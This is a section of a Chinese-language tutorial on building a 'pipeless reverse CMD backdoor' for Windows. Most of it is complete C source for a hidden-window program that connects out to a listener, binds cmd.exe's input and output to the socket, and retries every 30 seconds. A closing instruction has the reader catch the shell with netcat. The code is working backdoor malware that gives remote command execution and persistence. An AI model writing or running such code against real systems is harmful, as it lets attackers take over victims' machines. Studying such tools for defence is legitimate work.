17.3 无管道反向CMD后门

WSASocket无管道反向CMD,与无管道正向CMD相反,这种方式是在远程主机上创建一个TCP套接字,并绑定到一个本地地址和端口上。然后在本地主机上,使用WSASocket函数连接到远程主机的套接字,并将标准输入、输出和错误输出重定向到套接字的句柄上。这样,本地主机就可以通过网络连接到远程主机的套接字,发送CMD命令并获取命令输出结果。这种方式称为无管道反向CMD,因为CMD进程的输入输出是通过套接字而非管道进行的。

#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
#include <WinSock2.h>
#include <windows.h>

#pragma comment(lib,"ws2_32")

const CHAR* REMOTE_ADDR = "127.0.0.1";
const DWORD REMOTE_PORT = 9999;
const DWORD MAXSTR = 255;

void StartShell(SOCKET sSock)
{
STARTUPINFO si;
PROCESS_INFORMATION pi;
CHAR cmdline[MAXSTR] = { 0 };

// 绑定输入输出
GetStartupInfo(&si);
si.cb = sizeof(STARTUPINFO);
si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)sSock;
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;

// 取系统目录并拼接CMD.exe
GetSystemDirectory(cmdline, MAXSTR);
strcat_s(cmdline, MAXSTR, "\\cmd.exe");

// 创建进程
while (!CreateProcess(NULL, cmdline, NULL, NULL, TRUE, NULL, NULL, NULL, &si, &pi))
{
Sleep(1000);
}
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return;
}

int main(int argc, char *argv[])
{
SOCKADDR_IN sin;
WSADATA wsd;
SOCKET sSock;
int cRet;

// 初始化套接字
if (WSAStartup(MAKEWORD(2, 2), &wsd) == SOCKET_ERROR)
{
return 0;
}

while (1)
{
// 绑定异步套接字
if ((sSock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0)) == INVALID_SOCKET)
{
return 0;
}

// 设置端口信息等
sin.sin_family = AF_INET;
sin.sin_addr.S_un.S_addr = inet_addr(REMOTE_ADDR);
sin.sin_port = htons(REMOTE_PORT);

do
{
// 连接到远程主机
cRet = connect(sSock, (sockaddr*)&sin, sizeof(sin));
} while (cRet == SOCKET_ERROR);

// 启动CMD后门
StartShell(sSock);
closesocket(sSock);
Sleep(30000);
}

WSACleanup();
return 0;
}

编译并运行上述程序,读者可自行打开netcat工具,并执行nc -l -p 9999开启本机侦听端口,此时后门程序会每隔30000毫秒自动连接一次服务端,当连接成功后则自动执行StartShell函数创建一个反弹后门,输出效果图如下所示;